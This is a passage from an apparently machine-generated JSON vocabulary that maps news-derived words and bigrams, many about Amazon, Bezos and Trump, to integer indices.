41383,\n  \"multicarrier commerce\": 41384,\n  \"ago publisher\": 41385,\n  \"hurting retailers\": 41386,\n  \"broadway joe\": 41387,\n  \"marrying prince\": 41388,\n  \"includes interviews\": 41389,\n  \"terrorist couple\": 41390,\n  \"nation love\": 41391,\n  \"jhendel politico\": 41392,\n  \"column suggests\": 41393,\n  \"incredible fun\": 41394,\n  \"strategist david\": 41395,\n  \"college scholarships\": 41396,\n  \"states broad\": 41397,\n  \"biotech business\": 41398,\n  \"outside seattle\": 41399,\n  \"hit 140\": 41400,\n  \"ruthless patriarch\": 41401,\n  \"titled\": 41402,\n  \"pay increases\": 41403,\n  \"malpractice\": 41404,\n  \"territorial dynamic\": 41405,\n  \"block modi\": 41406,\n  \"reactid 180\": 41407,\n  \"nauseously loathe\": 41408,\n  \"repeatedly accusing\": 41409,\n  \"listed firm\": 41410,\n  \"email boasts\": 41411,\n  \"unsuccessfully challenged\": 41412,\n  \"investigators following\": 41413,\n  \"apple needs\": 41414,\n  \"minutes piece\": 41415,\n  \"876\": 41416,\n  \"quite lot\": 41417,\n  \"wonk speak\": 41418,\n  \"dollar yen\": 41419,\n  \"little different\": 41420,\n  \"retail digital\": 41421,\n  \"sandman comics\": 41422,\n  \"america says\": 41423,\n  \"doj says\": 41424,\n  \"cleaving\": 41425,\n  \"art thriller\": 41426,\n  \"roastery type\": 41427,\n  \"t2\": 41428,\n  \"delivered low\": 41429,\n  \"emerged victorious\": 41430,\n  \"laura ingraham\": 41431,\n  \"exciting educational\": 41432,\n  \"obviously won\": 41433,\n  \"safe harbor\": 41434,\n  \"giant reports\": 41435,\n  \"william attends\": 41436,\n  \"tariff talk\": 41437,\n  \"consumer pricing\": 41438,\n  \"profile patrick\": 41439,\n  \"ancestral home\": 41440,\n  \"reportedly sparked\": 41441,\n  \"personal photographs\": 41442,\n  \"hq2 fda\": 41443,\n  \"levels reported\": 41444,\n  \"effect maxsa\": 41445,\n  \"eliot engel\": 41446,\n  \"earned money\": 41447,\n  \"drying\": 41448,\n  \"flicked\": 41449,\n  \"naa\": 41450,\n  \"aws taking\": 41451,\n  \"avoid sales\": 41452,\n  \"invested millions\": 41453,\n  \"explore\": 41454,\n  \"hyper\": 41455,\n  \"boycott\": 41456,\n  \"snl\": 41457,\n  \"pitcher\": 41458,\n  \"dangerous path\": 41459,\n  \"deflected blame\": 41460,\n  \"voting public\": 41461,\n  \"later asked\": 41462,\n  \"environmental services\": 41463,\n  \"po\": 41464,\n  \"including increasing\": 41465,\n  \"sucrose phosphate\": 41466,\n  \"hasn confirmed\": 41467,\n  \"halt practices\": 41468,\n  \"chief strategy\": 41469,\n  \"doubts\": 41470,\n  \"meager goal\": 41471,\n  \"new place\": 41472,\n  \"mcdaniel spec\": 41473,\n  \"reportedly losing\": 41474,\n  \"joe trump\": 41475,\n  \"obama visited\": 41476,\n  \"countries download\": 41477,\n  \"rips trump\": 41478,\n  \"big studios\": 41479,\n  \"transcript\": 41480,\n  \"industrial decline\": 41481,\n  \"publisher haspolitical\": 41482,\n  \"killer manhunt\": 41483,\n  \"amazon shipping\": 41484,\n  \"pursuit\": 41485,\n  \"chances president\": 41486,\n  \"family including\": 41487,\n  \"polio lyme\": 41488,\n  \"company time\": 41489,\n  \"schwabs daughter\": 41490,\n  \"literal\": 41491,\n  \"course scarcely\": 41492,\n  \"site memorywell\": 41493,\n  \"socioeconomic needs\": 41494,\n  \"investment attitudes\": 41495,\n  \"require significant\": 41496,\n  \"israeli british\": 41497,\n  \"west orderly\": 41498,\n  \"ago study\": 41499,\n  \"protest organized\": 41500,\n  \"cup ahead\": 41501,\n  \"product amazon\": 41502,\n  \"twisty story\": 41503,\n  \"money smartly\": 41504,\n  \"amazon otc\": 41505,\n  \"federal level\": 41506,\n  \"serve slew\": 41507,\n  \"evt\": 41508,\n  \"winners dressed\": 41509,\n  \"attain 100\": 41510,\n  \"states dershowitz\": 41511,\n  \"making china\": 41512,\n  \"unprepared\": 41513,\n  \"denied bezos\": 41514,\n  \"false shorturl\": 41515,\n  \"2018 kiely\": 41516,\n  \"nuclear test\": 41517,\n  \"window\": 41518,\n  \"jersey women\": 41519,\n  \"conduct triple\": 41520,\n  \"beast reports\": 41521,\n  \"conventional war\": 41522,\n  \"patent cases\": 41523,\n  \"including baby\": 41524,\n  \"cnbc cnbc\": 41525,\n  \"videoloader\": 41526,\n  \"successful reordering\": 41527,\n  \"dancing backwards\": 41528,\n  \"arthur\": 41529,\n  \"crime festival\": 41530,\n  \"wide audience\": 41531,\n  \"office kind\": 41532,\n  \"concede privacy\": 41533,\n  \"hotel lines\": 41534,\n  \"insider took\": 41535,\n  \"enjoying amazon\": 41536,\n  \"authorizations mean\": 41537,\n  \"pushing\": 41538,\n  \"tweeting mds\": 41539,\n  \"leftist criticism\": 41540,\n  \"needlessly\": 41541,\n  \"google stopped\": 41542,\n  \"airplanes\": 41543,\n  \"private drone\": 41544,\n  \"story written\": 41545,\n  \"computing group\": 41546,\n  \"world bezos\": 41547,\n  \"shopping consumers\": 41548,\n  \"nightly news\": 41549,\n  \"undercharges\": 41550,\n  \"wsj disruptive\": 41551,\n  \"king laura\": 41552,\n  \"changed sears\": 41553,\n  \"apparent extortion\": 41554,\n  \"absconded\": 41555,\n  \"allegedly hired\": 41556,\n  \"carries big\": 41557,\n  \"authentic vietnamese\": 41558,\n  \"trump praised\": 41559,\n  \"rhetoric aimed\": 41560,\n  \"upcoming season\": 41561,\n  \"amnesty roughly\": 41562,\n  \"house trump\": 41563,\n  \"choosing ministry\": 41564,\n  \"rewrite history\": 41565,\n  \"jersey state\": 41566,\n  \"loudly\": 41567,\n  \"trump intelligence\": 41568,\n  \"sorce\": 41569,\n  \"similar lessons\": 41570,\n  \"increase amazon\": 41571,\n  \"nice\": 41572,\n  \"mike vogel\": 41573,\n  \"pusha feud\": 41574,\n  \"va senate\": 41575,\n  \"challenging conditions\": 41576,\n  \"swells\": 41577,\n  \"individual worth\": 41578,\n  \"vivid descriptions\": 41579,\n  \"compliance make\": 41580,\n  \"trumpkim kardashian\": 41581,\n  \"aforementioned minimum\": 41582,\n  \"politically biased\": 41583,\n  \"political propaganda\": 41584,\n  \"ur dankest\": 41585,\n  \"development offices\": 41586,\n  \"patrice nganang\": 41587,\n  \"ellison noted\": 41588,\n  \"amazon valuable\": 41589,\n  \"problems extend\": 41590,\n  \"took positive\": 41591,\n  \"amazon speaks\": 41592,\n  \"cashierless\": 41593,\n  \"house took\": 41594,\n  \"filled faster\": 41595,\n  \"nevada\": 41596,\n  \"called warmer\": 41597,\n  \"joint endorsement\": 41598,\n  \"carrier solutions\": 41599,\n  \"vt took\": 41600,\n  \"hand additionally\": 41601,\n  \"wapo washington\": 41602,\n  \"optimistic trade\": 41603,\n  \"obstacles collect\": 41604,\n  \"county specifically\": 41605,\n  \"district near\": 41606,\n  \"media propaganda\": 41607,\n  \"company products\": 41608,\n  \"president mean\": 41609,\n  \"systems just\": 41610,\n  \"featuring 200\": 41611,\n  \"multimillionaire click\": 41612,\n  \"patronized walmart\": 41613,\n  \"inadvisable\": 41614,\n  \"magazine event\": 41615,\n  \"gardner executive\": 41616,\n  \"kisela hughes\": 41617,\n  \"madison ala\": 41618,\n  \"helped sustain\": 41619,\n  \"olaoluwa\": 41620,\n  \"justice agreeing\": 41621,\n  \"declaration triggers\": 41622,\n  \"negotiating deal\": 41623,\n  \"amazon hq\": 41624,\n  \"closing sharply\": 41625,\n  \"obama fitness\": 41626,\n  \"johnson asked\": 41627,\n  \"major local\": 41628,\n  \"u1 localstorage\": 41629,\n  \"outstanding sales\": 41630,\n  \"heckler\": 41631,\n  \"yesterday saw\": 41632,\n  \"local resistance\": 41633,\n  \"mccabe frequent\": 41634,\n  \"election brenda\": 41635,\n  \"class package\": 41636,\n  \"shame dies\": 41637,\n  \"scandals involving\": 41638,\n  \"america brian\": 41639,\n  \"fleet shanker\": 41640,\n  \"asc\": 41641,\n  \"stern told\": 41642,\n  \"spoken word\": 41643,\n  \"average dma\": 41644,\n  \"amazon contributing\": 41645,\n  \"break ng\": 41646,\n  \"stakes\": 41647,\n  \"having bad\": 41648,\n  \"sourcebluefly\": 41649,\n  \"trends\": 41650,\n  \"hour trump\": 41651,\n  \"advertising primarily\": 41652,\n  \"trump tower\": 41653,\n  \"new airport\": 41654,\n  \"documentary portrait\": 41655,\n  \"tradecraft major\": 41656,\n  \"genetics\": 41657,\n  \"barney\": 41658,\n  \"significant parliamentary\": 41659,\n  \"government effort\": 41660,\n  \"america shows\": 41661,\n  \"difficult critics\": 41662,\n  \"towers\": 41663,\n  \"ipo prices\": 41664,\n  \"discusses conley\": 41665,\n  \"center building\": 41666,\n  \"modern antitrust\": 41667,\n  \"casts\": 41668,\n  \"amber athey\": 41669,\n  \"heartland poised\": 41670,\n  \"actually care\": 41671,\n  \"cash plowed\": 41672,\n  \"actress meghan\": 41673,\n  \"alum defends\": 41674,\n  \"baptised\": 41675,\n  \"lip service\": 41676,\n  \"looming divorce\": 41677,\n  \"ship household\": 41678,\n  \"intact according\": 41679,\n  \"debt records\": 41680,\n  \"facebook live\": 41681,\n  \"justin fox\": 41682,\n  \"operations aimed\": 41683,\n  \"bodily\": 41684,\n  \"make matters\": 41685,\n  \"west african\": 41686,\n  \"dubious constitutional\": 41687,\n  \"settle number\": 41688,\n  \"postal policy\": 41689,\n  \"johnston writes\": 41690,\n  \"government king\": 41691,\n  \"example data\": 41692,\n  \"actually computer\": 41693,\n  \"home news\": 41694,\n  \"autostartvideo false\": 41695,\n  \"benson\": 41696,\n  \"maximum extent\": 41697,\n  \"dollar contract\": 41698,\n  \"protagonist takes\": 41699,\n  \"micron says\": 41700,\n  \"article favorite\": 41701,\n  \"additional perks\": 41702,\n  \"nails\": 41703,\n  \"etf xlk\": 41704,\n  \"times rated\": 41705,\n  \"salt backlash\": 41706,\n  \"viruses\": 41707,\n  \"included 238\": 41708,\n  \"immune trump\": 41709,\n  \"future assets\": 41710,\n  \"statement emailed\": 41711,\n  \"collecting user\": 41712,\n  \"cable industry\": 41713,\n  \"story think\": 41714,\n  \"nyt 8221\": 41715,\n  \"real reason\": 41716,\n  \"initially predicted\": 41717,\n  \"lie catching\": 41718,\n  \"foods tyson\": 41719,\n  \"folks canpoint\": 41720,\n  \"travel hacks\": 41721,\n  \"attack reuters\": 41722,\n  \"national wellbeing\": 41723,\n  \"director given\": 41724,\n  \"foreseen\": 41725,\n  \"removed amazon\": 41726,\n  \"true love\": 41727,\n  \"time wished\": 41728,\n  \"fortune bringing\": 41729,\n  \"floridians\": 41730,\n  \"amazon hats\": 41731,\n  \"record turnout\": 41732,\n  \"coverage used\": 41733,\n  \"success learn\": 41734,\n  \"local developers\": 41735,\n  \"great piece\": 41736,\n  \"outranked\": 41737,\n  \"empire actor\": 41738,\n  \"counties\": 41739,\n  \"grant regulatory\": 41740,\n  \"eighty\": 41741,\n  \"policy sponsored\": 41742,\n  \"deadly career\": 41743,\n  \"concession speech\": 41744,\n  \"activist ire\": 41745,\n  \"luxury bag\": 41746,\n  \"miracles seeking\": 41747,\n  \"enlargement remedy\": 41748,\n  \"just endured\": 41749,\n  \"indigenous alliance\": 41750,\n  \"pndlkq12cr\": 41751,\n  \"excluded merchants\": 41752,\n  \"administration possible\": 41753,\n  \"little trigger\": 41754,\n  \"quotesoftheday\": 41755,\n  \"abusing private\": 41756,\n  \"household devices\": 41757,\n  \"makeshift\": 41758,\n  \"families face\": 41759,\n  \"brahminical patriarchy\": 41760,\n  \"google executives\": 41761,\n  \"consuming media\": 41762,\n  \"khan central\": 41763,\n  \"line munster\": 41764,\n  \"watch\": 41765,\n  \"gilmore\": 41766,\n  \"article urging\": 41767,\n  \"demagogues\": 41768,\n  \"private life\": 41769,\n  \"eileen rivers\": 41770,\n  \"observations remain\": 41771,\n  \"piano photo\": 41772,\n  \"commercial facial\": 41773,\n  \"fudge\": 41774,\n  \"term\": 41775,\n  \"consensys\": 41776,\n  \"meaning sellers\": 41777,\n  \"shipping packages\": 41778,\n  \"hemorrhaging billions\": 41779,\n  \"reports q4\": 41780,\n  \"shift\": 41781,\n  \"americanize\": 41782,\n  \"time earlier\": 41783,\n  \"upcoming memoir\": 41784,\n  \"wastes little\": 41785,\n  \"college degree\": 41786,\n  \"india 2678011\": 41787,\n  \"pentagon\": 41788,\n  \"theatrical release\": 41789,\n  \"just set\": 41790,\n  \"personally taken\": 41791,\n  \"earning large\": 41792,\n  \"garamendi absolutely\": 41793,\n  \"3792223 width\": 41794,\n  \"protest 1360479\": 41795,\n  \"tim miller\": 41796,\n  \"worst nightmares\": 41797,\n  \"compressing massive\": 41798,\n  \"volatility blowup\": 41799,\n  \"cameron\": 41800,\n  \"steven terner\": 41801,\n  \"brka\": 41802,\n  \"rep greg\": 41803,\n  \"trading strategy\": 41804,\n  \"christian davenport\": 41805,\n  \"party vendor\": 41806,\n  \"kavanaugh hand\": 41807,\n  \"average chief\": 41808,\n  \"trump greenlit\": 41809,\n  \"chatter turned\": 41810,\n  \"flight control\": 41811,\n  \"dramatically increase\": 41812,\n  \"registries\": 41813,\n  \"facebook feed\": 41814,\n  \"highlighted million\": 41815,\n  \"wannabe hq2\": 41816,\n  \"capitalization\": 41817,\n  \"separate trips\": 41818,\n  \"000 seasonal\": 41819,\n  \"counsel owns\": 41820,\n  \"622\": 41821,\n  \"company soon\": 41822,\n  \"shaub accusations\": 41823,\n  \"law erases\": 41824,\n  \"steps forward\": 41825,\n  \"include columbia\": 41826,\n  \"john sherman\": 41827,\n  \"information purposes\": 41828,\n  \"fortunate gig\": 41829,\n  \"statistics\": 41830,\n  \"2019 18217174\": 41831,\n  \"stores trump\": 41832,\n  \"presumably relieved\": 41833,\n  \"sweater\": 41834,\n  \"gift wrap\": 41835,\n  \"undocumented immigratns\": 41836,\n  \"trump resort\": 41837,\n  \"lamichhane bowled\": 41838,\n  \"staged series\": 41839,\n  \"panel chair\": 41840,\n  \"campaign inviting\": 41841,\n  \"reportedly sold\": 41842,\n  \"4th quarter\": 41843,\n  \"tempestuous\": 41844,\n  \"state trump\": 41845,\n  \"amazon newly\": 41846,\n  \"people calling\": 41847,\n  \"mccabe lied\": 41848,\n  \"assault scandal\": 41849,\n  \"estate company\": 41850,\n  \"plan brian\": 41851,\n  \"isn far\": 41852,\n  \"seton\": 41853,\n  \"twitter users\": 41854,\n  \"5ehequal77 raw\": 41855,\n  \"unlike amazon\": 41856,\n  \"wrote musk\": 41857,\n  \"companies strategizing\": 41858,\n  \"bury story\": 41859,\n  \"fully diluted\": 41860,\n  \"delinquency rates\": 41861,\n  \"years setting\": 41862,\n  \"campaign consultants\": 41863,\n  \"month black\": 41864,\n  \"lorena alaniz\": 41865,\n  \"conversations amazon\": 41866,\n  \"real nut\": 41867,\n  \"000 comments\": 41868,\n  \"towels sunscreen\": 41869,\n  \"2018 urging\": 41870,\n  \"clip big\": 41871,\n  \"new giveaways\": 41872,\n  \"bezos beverly\": 41873,\n  \"existing fubotv\": 41874,\n  \"book merchants\": 41875,\n  \"2c\": 41876,\n  \"heartland town\": 41877,\n  \"carmel obama\": 41878,\n  \"states bending\": 41879,\n  \"mattis right\": 41880,\n  \"anniversary created\": 41881,\n  \"nordstrom nyse\": 41882,\n  \"michael krieger\": 41883,\n  \"100 aligned\": 41884,\n  \"threat trump\": 41885,\n  \"google engage\": 41886,\n  \"crabtree\": 41887,\n  \"retweets\": 41888,\n  \"nec\": 41889,\n  \"employee comp\": 41890,\n  \"fed hurt\": 41891,\n  \"hc jc\": 41892,\n  \"court appellate\": 41893,\n  \"doing apart\": 41894,\n  \"race justice\": 41895,\n  \"policeman\": 41896,\n  \"received isn\": 41897,\n  \"governor race\": 41898,\n  \"predictably included\": 41899,\n  \"moser ooh\": 41900,\n  \"base chicago\": 41901,\n  \"hurting major\": 41902,\n  \"highlights begin\": 41903,\n  \"venezuela political\": 41904,\n  \"sparked criticism\": 41905,\n  \"music critic\": 41906,\n  \"fi\": 41907,\n  \"mason ramsey\": 41908,\n  \"sharp political\": 41909,\n  \"familiar stuff\": 41910,\n  \"santa barbara\": 41911,\n  \"tight races\": 41912,\n  \"cheerleading squad\": 41913,\n  \"topped 000\": 41914,\n  \"exceeds\": 41915,\n  \"bus\": 41916,\n  \"fed set\": 41917,\n  \"william butler\": 41918,\n  \"america big\": 41919,\n  \"deteriorates leaving\": 41920,\n  \"directly force\": 41921,\n  \"printings totaling\": 41922,\n  \"gym\": 41923,\n  \"squeezed\": 41924,\n  \"david rankin\": 41925,\n  \"schiaparelli\": 41926,\n  \"determining\": 41927,\n  \"day pontification\": 41928,\n  \"dollar radio\": 41929,\n  \"hit oprah\": 41930,\n  \"trump aspirational\": 41931,\n  \"hits amazon\": 41932,\n  \"gullium\": 41933,\n  \"punitive department\": 41934,\n  \"dethroned long\": 41935,\n  \"hatch tweet\": 41936,\n  \"uk corporation\": 41937,\n  \"sales plunge\": 41938,\n  \"annihilation\": 41939,\n  \"affair story\": 41940,\n  \"momentum stocks\": 41941,\n  \"bahai\": 41942,\n  \"londonthenews\": 41943,\n  \"obamacare law\": 41944,\n  \"surging additionally\": 41945,\n  \"corporate democrats\": 41946,\n  \"stockpil\": 41947,\n  \"reach deal\": 41948,\n  \"inaccurate statements\": 41949,\n  \"stock live\": 41950,\n  \"amazon user\": 41951,\n  \"economic resentment\": 41952,\n  \"feels stronger\": 41953,\n  \"arenas\": 41954,\n  \"d4 a4ee\": 41955,\n  \"suggestions\": 41956,\n  \"patient specific\": 41957,\n  \"charge ami\": 41958,\n  \"needs capital\": 41959,\n  \"city nyc\": 41960,\n  \"punctures\": 41961,\n  \"count votes\": 41962,\n  \"takes aims\": 41963,\n  \"916\": 41964,\n  \"premarket session\": 41965,\n  \"candidates campaigning\": 41966,\n  \"stepmother\": 41967,\n  \"google stock\": 41968,\n  \"marriage hours\": 41969,\n  \"workers pockets\": 41970,\n  \"president ami\": 41971,\n  \"conclusion reached\": 41972,\n  \"cnn katie\": 41973,\n  \"headphones\": 41974,\n  \"leaked directly\": 41975,\n  \"hannity town\": 41976,\n  \"little funds\": 41977,\n  \"000 payment\": 41978,\n  \"scale descriptionplaintext\": 41979,\n  \"red hat\": 41980,\n  \"biggest customer\": 41981,\n  \"managing director\": 41982,\n  \"541\": 41983,\n  \"harrisburg\": 41984,\n  \"company operates\": 41985,\n  \"relations battle\": 41986,\n  \"159 george\": 41987,\n  \"intellectually\": 41988,\n  \"approved dominion\": 41989,\n  \"influence politicians\": 41990,\n  \"policies based\": 41991,\n  \"huge tech\": 41992,\n  \"atypical netflix\": 41993,\n  \"recast\": 41994,\n  \"grumpy data\": 41995,\n  \"loan shark\": 41996,\n  \"enquirer fare\": 41997,\n  \"university supports\": 41998,\n  \"just permanently\": 41999,\n  \"means donnie\": 42000,\n  \"known white\": 42001,\n  \"gates neighbor\": 42002,\n  \"cages\": 42003,\n  \"mccabe admits\": 42004,\n  \"shepherd reusable\": 42005,\n  \"window delivery\": 42006,\n  \"dignitaries virginia\": 42007,\n  \"graduation day\": 42008,\n  \"regularly takes\": 42009,\n  \"industrials expected\": 42010,\n  \"wisconsin billion\": 42011,\n  \"premise quiet\": 42012,\n  \"emmy winning\": 42013,\n  \"delivered bezos\": 42014,\n  \"brits roughly\": 42015,\n  \"criminally abuses\": 42016,\n  \"multiplayer\": 42017,\n  \"employee meeting\": 42018,\n  \"suffer according\": 42019,\n  \"ranching\": 42020,\n  \"interesting conversations\": 42021,\n  \"year new\": 42022,\n  \"media player\": 42023,\n  \"ode\": 42024,\n  \"aircraft thouss\": 42025,\n  \"fingerprint\": 42026,\n  \"coral\": 42027,\n  \"trumpopulists\": 42028,\n  \"tax designed\": 42029,\n  \"pitch charlotte\": 42030,\n  \"shinning light\": 42031,\n  \"adolf hitler\": 42032,\n  \"shorturl\": 42033,\n  \"wrong think\": 42034,\n  \"conviction\": 42035,\n  \"city pets\": 42036,\n  \"reaches far\": 42037,\n  \"netflix castlevania\": 42038,\n  \"seattle officials\": 42039,\n  \"higher proportion\": 42040,\n  \"york reported\": 42041,\n  \"horse candidate\": 42042,\n  \"representatives bids\": 42043,\n  \"morning interview\": 42044,\n  \"american cooking\": 42045,\n  \"amazon sanders\": 42046,\n  \"don favor\": 42047,\n  \"cnn white\": 42048,\n  \"rising risks\": 42049,\n  \"patents granted\": 42050,\n  \"book follows\": 42051,\n  \"says investigators\": 42052,\n  \"memo according\": 42053,\n  \"abides\": 42054,\n  \"essential purpose\": 42055,\n  \"kleponis epa\": 42056,\n  \"dwyre political\": 42057,\n  \"scott ran\": 42058,\n  \"lindsey bell\": 42059,\n  \"alleged ami\": 42060,\n  \"madison malone\": 42061,\n  \"driven campaigns\": 42062,\n  \"suspensions\": 42063,\n  \"potentially hundreds\": 42064,\n  \"korea problem\": 42065,\n  \"burnett\": 42066,\n  \"paris war\": 42067,\n  \"content fancy\": 42068,\n  \"neil gorsuch\": 42069,\n  \"smith mo\": 42070,\n  \"believe\": 42071,\n  \"mccain defense\": 42072,\n  \"hispanic adviser\": 42073,\n  \"defender\": 42074,\n  \"medicine\": 42075,\n  \"entrance exam\": 42076,\n  \"incident people\": 42077,\n  \"draw laughs\": 42078,\n  \"richest counties\": 42079,\n  \"markle observe\": 42080,\n  \"report provides\": 42081,\n  \"culture toys\": 42082,\n  \"did locate\": 42083,\n  \"boosted\": 42084,\n  \"washington cn\": 42085,\n  \"late sister\": 42086,\n  \"peasant settlements\": 42087,\n  \"eager\": 42088,\n  \"general investigation\": 42089,\n  \"pentagon determined\": 42090,\n  \"horowitz telling\": 42091,\n  \"star dicom\": 42092,\n  \"ocala economics\": 42093,\n  \"single week\": 42094,\n  \"significantly moving\": 42095,\n  \"bringing america\": 42096,\n  \"stubs reviewed\": 42097,\n  \"ago calling\": 42098,\n  \"124 661\": 42099,\n  \"amazon buy\": 42100,\n  \"pulse trump\": 42101,\n  \"economic shockwave\": 42102,\n  \"sell stuff\": 42103,\n  \"basic demands\": 42104,\n  \"states bezos\": 42105,\n  \"plane passengers\": 42106,\n  \"expecting amazon\": 42107,\n  \"earlier period\": 42108,\n  \"hand grew\": 42109,\n  \"corners amazon\": 42110,\n  \"wide disconnect\": 42111,\n  \"year requiring\": 42112,\n  \"gold heads\": 42113,\n  \"posting tweet\": 42114,\n  \"glass\": 42115,\n  \"dragged wall\": 42116,\n  \"quite literal\": 42117,\n  \"include class\": 42118,\n  \"head starts\": 42119,\n  \"trump policies\": 42120,\n  \"foxconn provides\": 42121,\n  \"bills amazon\": 42122,\n  \"publish intimate\": 42123,\n  \"gasparino trump\": 42124,\n  \"reorder drugs\": 42125,\n  \"understands trump\": 42126,\n  \"w1 wsfolders\": 42127,\n  \"previous public\": 42128,\n  \"dastin washington\": 42129,\n  \"nationwide ultimately\": 42130,\n  \"employees relying\": 42131,\n  \"lot nastier\": 42132,\n  \"surrounding president\": 42133,\n  \"disturbing trend\": 42134,\n  \"america product\": 42135,\n  \"tank fans\": 42136,\n  \"1iq5vw0 videodescriptiondivid\": 42137,\n  \"rapid withdrawal\": 42138,\n  \"fiction source\": 42139,\n  \"elections scott\": 42140,\n  \"nbc jeff\": 42141,\n  \"perspective michael\": 42142,\n  \"analysts expect\": 42143,\n  \"canadian slavic\": 42144,\n  \"167 billion\": 42145,\n  \"corporations spend\": 42146,\n  \"possible global\": 42147,\n  \"news judicial\": 42148,\n  \"decipher rumors\": 42149,\n  \"photo britain\": 42150,\n  \"indicted roger\": 42151,\n  \"stress dog\": 42152,\n  \"assisting google\": 42153,\n  \"historically struggled\": 42154,\n  \"splintering\": 42155,\n  \"tyranny natural\": 42156,\n  \"promptly remove\": 42157,\n  \"masterful biography\": 42158,\n  \"chg amzn\": 42159,\n  \"rules employers\": 42160,\n  \"lafayette\": 42161,\n  \"trillion people\": 42162,\n  \"happening phil\": 42163,\n  \"company going\": 42164,\n  \"google heinz\": 42165,\n  \"challenging questions\": 42166,\n  \"safety expert\": 42167,\n  \"moore 2018\": 42168,\n  \"prior government\": 42169,\n  \"old painting\": 42170,\n  \"sext\": 42171,\n  \"labor union\": 42172,\n  \"getty_173218731_200015422000928060 jpg\": 42173,\n  \"receives individual\": 42174,\n  \"hours pete\": 42175,\n  \"p48zyasb92\": 42176,\n  \"russian money\": 42177,\n  \"heavily despite\": 42178,\n  \"rooms cleaning\": 42179,\n  \"tariffs battle\": 42180,\n  \"newpaper24\": 42181,\n  \"uphold privacy\": 42182,\n  \"judicial vacancy\": 42183,\n  \"manufacturer xiaomi\": 42184,\n  \"country pres\": 42185,\n  \"fait accompli\": 42186,\n  \"zuker\": 42187,\n  \"journalistic investigation\": 42188,\n  \"valuation topping\": 42189,\n  \"design guru\": 42190,\n  \"bezos subscribe\": 42191,\n  \"sold acn\": 42192,\n  \"generate sufficient\": 42193,\n  \"mail stream\": 42194,\n  \"amazon requested\": 42195,\n  \"time bartiromo\": 42196,\n  \"american psyche\": 42197,\n  \"collectively sell\": 42198,\n  \"radioresource\": 42199,\n  \"turn capitalist\": 42200,\n  \"losses nalc\": 42201,\n  \"eissenstat trump\": 42202,\n  \"file scott\": 42203,\n  \"kelsey rohwer\": 42204,\n  \"injector executefeature\": 42205,\n  \"receive hundreds\": 42206,\n  \"paraiba\": 42207,\n  \"exposed report\": 42208,\n  \"unlikely marketplace\": 42209,\n  \"supercar\": 42210,\n  \"enforcement administration\": 42211,\n  \"46th president\": 42212,\n  \"2657635 amazon\": 42213,\n  \"raton fl\": 42214,\n  \"saddest\": 42215,\n  \"shatner\": 42216,\n  \"really emulates\": 42217,\n  \"manager washington\": 42218,\n  \"descriptionplaintext danish\": 42219,\n  \"cowen citing\": 42220,\n  \"antique\": 42221,\n  \"businesses cities\": 42222,\n  \"briefly mention\": 42223,\n  \"following facebook\": 42224,\n  \"males\": 42225,\n  \"proceedings near\": 42226,\n  \"republicancongressman\": 42227,\n  \"foes trump\": 42228,\n  \"post bolsonaro\": 42229,\n  \"service developers\": 42230,\n  \"practice called\": 42231,\n  \"sachs reckons\": 42232,\n  \"area new\": 42233,\n  \"ramsay wrote\": 42234,\n  \"poll sites\": 42235,\n  \"tormented american\": 42236,\n  \"headquarters expected\": 42237,\n  \"growth opportunities\": 42238,\n  \"post best\": 42239,\n  \"solon\": 42240,\n  \"useful resources\": 42241,\n  \"wood products\": 42242,\n  \"news isn\": 42243,\n  \"promptly ship\": 42244,\n  \"subpoenaed npr\": 42245,\n  \"disquisitions\": 42246,\n  \"rob martinez\": 42247,\n  \"klan alongside\": 42248,\n  \"track build\": 42249,\n  \"cargo service\": 42250,\n  \"reinstated cheapskates\": 42251,\n  \"transportation option\": 42252,\n  \"kelly vice\": 42253,\n  \"costing platforms\": 42254,\n  \"term health\": 42255,\n  \"manigualt\": 42256,\n  \"allegation kleindienst\": 42257,\n  \"purchasing motorola\": 42258,\n  \"pornograhic film\": 42259,\n  \"million hardcover\": 42260,\n  \"ferryboat\": 42261,\n  \"warships\": 42262,\n  \"average accenture\": 42263,\n  \"cosby\": 42264,\n  \"managing editor\": 42265,\n  \"gigantic entrepreneurial\": 42266,\n  \"computing open\": 42267,\n  \"fort\": 42268,\n  \"beach florida\": 42269,\n  \"americans preacher\": 42270,\n  \"media feud\": 42271,\n  \"enc rentseeking\": 42272,\n  \"t9x h0\": 42273,\n  \"oxfam international\": 42274,\n  \"enterprise births\": 42275,\n  \"seritage growth\": 42276,\n  \"competition scrambled\": 42277,\n  \"comment massachusetts\": 42278,\n  \"amazon amendment\": 42279,\n  \"health emergency\": 42280,\n  \"private keys\": 42281,\n  \"subsections sport\": 42282,\n  \"amazon contacted\": 42283,\n  \"factor ruler\": 42284,\n  \"amazon gtld\": 42285,\n  \"literature sources\": 42286,\n  \"favourite cop\": 42287,\n  \"far shown\": 42288,\n  \"conservatives saying\": 42289,\n  \"idaho usa\": 42290,\n  \"ap aug\": 42291,\n  \"hazelwood\": 42292,\n  \"microsoft topping\": 42293,\n  \"lawsuit nasa\": 42294,\n  \"frequently whines\": 42295,\n  \"trump resorted\": 42296,\n  \"departed amid\": 42297,\n  \"business source\": 42298,\n  \"trump national\": 42299,\n  \"elections later\": 42300,\n  \"bs\": 42301,\n  \"khanna\": 42302,\n  \"company claims\": 42303,\n  \"sociological\": 42304,\n  \"majority china\": 42305,\n  \"shirt pictured\": 42306,\n  \"railways\": 42307,\n  \"hours increase\": 42308,\n  \"reporting mode\": 42309,\n  \"fees attacking\": 42310,\n  \"ill intent\": 42311,\n  \"tonight\": 42312,\n  \"jail posted\": 42313,\n  \"established process\": 42314,\n  \"incriminating text\": 42315,\n  \"expansion poses\": 42316,\n  \"farrar\": 42317,\n  \"unstoppable titan\": 42318,\n  \"rents collapsed\": 42319,\n  \"els lanaria\": 42320,\n  \"bali\": 42321,\n  \"temporary workers\": 42322,\n  \"troubled territory\": 42323,\n  \"nearly unrestricted\": 42324,\n  \"long hours\": 42325,\n  \"muteoverlayclicked\": 42326,\n  \"yields climb\": 42327,\n  \"illinois attorney\": 42328,\n  \"episode led\": 42329,\n  \"introductory wage\": 42330,\n  \"brittany\": 42331,\n  \"drone topped\": 42332,\n  \"india based\": 42333,\n  \"achievable recommendations\": 42334,\n  \"carol melton\": 42335,\n  \"employees whohave\": 42336,\n  \"r4ee h9x\": 42337,\n  \"overstock\": 42338,\n  \"sanguinetti\": 42339,\n  \"publishers\": 42340,\n  \"just needed\": 42341,\n  \"discontinue shirt\": 42342,\n  \"faded tu\": 42343,\n  \"boy deal\": 42344,\n  \"bookstore clerk\": 42345,\n  \"competition labor\": 42346,\n  \"party merchant\": 42347,\n  \"internet abuzz\": 42348,\n  \"note scientists\": 42349,\n  \"nyse col\": 42350,\n  \"native computing\": 42351,\n  \"airbnb super\": 